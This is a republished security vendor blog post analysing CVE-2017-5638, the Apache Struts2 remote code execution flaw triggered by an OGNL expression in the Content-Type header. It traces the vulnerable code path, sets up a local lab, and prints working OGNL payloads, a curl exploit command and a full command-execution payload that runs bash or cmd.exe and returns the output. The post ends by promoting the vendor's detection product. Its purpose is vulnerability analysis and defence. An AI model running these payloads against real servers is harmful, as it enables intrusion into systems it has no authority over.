Will it Pwn CVE-2017-5638: Remote Code Execution in Apache Struts 2?

This post was originally published here by AJIN ABRAHAM.

A few days back Nike Zheng reported aĀ Remote Code Execution vulnerabilityĀ in Apache Struts2. The vulnerability exploits a bug in Jakarta’s Multipart parser used by Apache Struts2 to achieve remote code execution by sending a crafted Content-Type header in the request. This is a perfect example for a vulnerability in third party component. In the real word fixing this vulnerability will take considerable time as itā€™s not feasible to write a patch for a third party module and updating to a patched version needs proper testing in multiple environments before pushing to production. This blog explains the detailed analysis of the vulnerability, exploitation and how IMMUNIO provides both detection and protection.

Detailed Vulnerability Analysis

The root cause of the vulnerability is that Apache Struts2 by default uses Jakartaā€™s Multipart parser when the content type header is set to multipart/form-data. A crafted content type header with an OGNL expression passed into Jakartaā€™s Multipart parser will trigger an exception which is then passed into an error message building function along with the OGNL payload. That function evaluates the OGNL expression resulting in code execution.

Letā€™s take a detailed look into this vulnerability.

Here is a sample exploit:

%{
(#_=’multipart/form-data’).
(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(@java.lang.Runtime@getRuntime().exec(‘curl localhost:8000’))
}

If we sent a content type header like the following
Content-Type: %{(#_=’multipart/form-data’).(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec(‘curl localhost:8000’))}

This will hit theĀ wrapRequestĀ method present inĀ org.apache.struts2.dispatcher.DispatcherĀ class.

Screen Shot 2017-03-10 at 9.10.21 PM.png

Reference

The payload containsĀ (#_=’multipart/form-data’)Ā which will satisfy the condition and the OGNL payload is passed into Jakartaā€™s Multipart parser. The parser tries to parse the payload usingĀ parseĀ method inĀ org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequestĀ class.

Screen Shot 2017-03-10 at 9.40.28 PM.png

Reference

This will result in an exception and theĀ buildErrorMessageĀ method present inĀ org.apache.struts2.dispatcher.JakartaMultiPartRequestĀ is called.

Screen Shot 2017-03-10 at 9.43.07 PM.png

Reference

The execution will further go through couple of methods,Ā findTextĀ method callsĀ getDefaultMessageĀ which callsĀ TextParseUtil.translateVariablesĀ method that callsĀ 
evaluateĀ method which will evaluate the OGNL expression in the payload.

Screen Shot 2017-03-10 at 9.55.12 PM.png

If you consider this OGNL syntaxĀ %{ OGNL code }, anything insideĀ %{ }Ā is considered as an OGNL expression and will be evaluated by the OGNL parser.Ā ${ }Ā is also a valid expression.

In our case the following OGNL expression contains Java code that usesĀ getRuntime().exec to execute shell commands. This will be evaluated by the OGNL parser and results in code execution.

(#_=’multipart/form-data’).
(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(@java.lang.Runtime@getRuntime().exec(‘curl localhost:8000’))

Exploitation

Letā€™s quickly set up a vulnerable Apache Struts2 web application.

We have the demo application and sample exploits hosted in our github repo:Ā https://github.com/immunio/apache-struts2-CVE-2017-5638
I have already downloaded and configured Tomcat 7 fromĀ 
https://tomcat.apache.org/download-70.cgi

From apache-struts2-CVE-2017-5638 repository, copyĀ struts2-showcase-2.3.12.warĀ toĀ apache-tomcat/webapps/

Go toĀ apache-tomcat/binĀ and start the tomcat server by issuing the command
./catalina.sh start

Screen Shot 2017-03-10 at 11.29.01 PM.png

Tomcat will automatically deployĀ struts2-showcase-2.3.12.warĀ by extracting it toĀ struts2-showcase-2.3.12Ā under webapps directory.

You can access the structs app by navigating to http://127.0.0.1:8080/struts2-showcase-2.3.12/showcase.action

Screen Shot 2017-03-10 at 11.31.02 PM.png

Now let’s exploit this using the vanilla payload

%{(#_=’multipart/form-data’).
(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(@java.lang.Runtime@getRuntime().exec(‘curl localhost:8000’))}

The above payload is very basic and we have no way to know if the payload got executed or not.Ā 
So we will use an out of band command to connect to our server. I am using the commandĀ 
curl localhost:8000/apache-struts-cveĀ as it will try to connect to our server.

Letā€™s quickly run a simple Python server.

python -m SimpleHTTPServer 8000

Letā€™s run the exploit using curl

curl http://127.0.0.1:8080/struts2-showcase-2.3.12/showcase.action -H “Content-Type: %{(#_=’multipart/form-data’).(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec(‘curl localhost:8000/apache-struts-cve’))}” >/tmp/foo

Once the payload executes, we can see a GET request log in our Python server which confirms the code execution.

Screen Shot 2017-03-10 at 11.41.27 PM.png

You can also try this out usingĀ exploit.pyĀ orĀ exploit2.pyĀ in apache-struts2-CVE-2017-5638 repository. Both scripts use similar payloads.

Also since we are testing this locally, we can use a fancy payload like this on a Mac.

python exploit.py “open /Applications/Calculator.app”

Screen Shot 2017-03-11 at 5.58.47 PM.png

Lets use the following payload that contains Java code which will open an in memory shell, execute commands and rewrite the HTTP response object with command execution results.

%{
(#_=’multipart/form-data’).
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd=’whoami’).
(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).
(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())
}

We will useĀ exploit3.pyĀ to demonstrate this.

Screen Shot 2017-03-10 at 11.51.48 PM.png

Mission Accomplished!

Will IMMUNIO Protect against CVE-2017-5638?

IMMUNIOā€™s sensors can generate a dynamic whitelist on user input to harden your application helping you to defend against code injection attacks. Here is a quick video that shows exploitation of the vulnerability and how IMMUNIOā€™s Suspicious Header detection feature can protect against this vulnerability with zero code change.

Photo:The Economist

Ad

No posts to display